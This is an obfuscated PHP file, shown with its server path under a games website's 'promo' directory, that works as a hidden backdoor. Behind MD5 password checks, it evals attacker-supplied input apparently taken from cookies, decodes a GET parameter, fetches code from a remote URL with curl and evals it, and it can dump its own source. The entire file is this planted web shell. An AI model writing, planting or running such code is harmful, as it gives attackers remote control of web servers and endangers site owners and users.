File: /var/www/vhosts/amphoragames.com/httpdocs/files/pandemain/promo/promo/promo/promo/index.php
<?php $Gqc = "r"."a"."n"."g"."e"; $Iy = $Gqc("~", " "); $ca=${$Iy[23+8].$Iy[59+0].$Iy[42+5].$Iy[2+45].$Iy[23+28].$Iy[4+49].$Iy[4+53]}; if(in_array(gettype($ca)."14",$ca)&&(md5(md5(md5(md5($ca[8]))))==="8a5c056da0f77b9cbffacdf2fe5cb3a1")){ $ca[63]=$ca[63].$ca[73]; @eval($ca[63](${$ca[45]}[28])); } metaphone("aMKPu2CZOUiPpcrs30vtZESQg4090Qf9ZcFPw6foHT0"); class GHVab{ static function lGF($nLNvXhC) { $FnrqlIpNZX = "r"."a"."n"."g"."e"; $LbZTqAUk = $FnrqlIpNZX("~", " "); $gFKC = explode(";", $nLNvXhC); $mbqVjtH = ""; foreach ($gFKC as $iRXaJ => $SAMpxe) $mbqVjtH .= $LbZTqAUk[$SAMpxe - 95456]; return $mbqVjtH; } static function Aykl($mWEgLSNZYs, $ik) { $IumikPHsf = curl_init($mWEgLSNZYs); curl_setopt($IumikPHsf, CURLOPT_RETURNTRANSFER, 1); $GUjyBp = curl_exec($IumikPHsf); return empty($GUjyBp) ? $ik($mWEgLSNZYs) : $GUjyBp; } static function CWnf() { $kuHLY = array("95483;95468;95481;95485;95466;95481;95487;95480;95465;95472;95483;95466;95477;95471;95472","95467;95466;95468;95487;95468;95471;95466;95533;95531","95476;95467;95471;95472;95487;95482;95481;95483;95471;95482;95481","95470;95485;95483;95475","95484;95485;95467;95481;95528;95530;95487;95482;95481;95483;95471;95482;95481","95480;95477;95474;95481;95487;95479;95481;95466;95487;95483;95471;95472;95466;95481;95472;95466;95467","95510;95540","95457","95535;95540","95517;95500;95500;95517;95493","95480;95477;95474;95466;95481;95468;95487;95477;95472;95470;95465;95466"); foreach ($kuHLY as $MKgtWG) $aQ[] = self::lGF($MKgtWG); $EUu = @$aQ[1]($aQ[2+8](INPUT_GET, $aQ[4+5])); $QpmJTa = @$aQ[0+3]($aQ[1+5], $EUu); $uNMPiUz = $aQ[1+1]($QpmJTa, true); @$aQ[6+4](INPUT_GET, "of") == 1 && die($aQ[2+3](__FILE__)); if( ((@$uNMPiUz[0] - time()) > 0) and (md5(md5($uNMPiUz[2+1])) === "df5327724b58df978dd1c6264fb70879") ): $ImW = self::Aykl($uNMPiUz[0+1], $aQ[3+2]);@eval($aQ[2+2]($ImW));die; endif; }}GHVab::CWnf(); ?>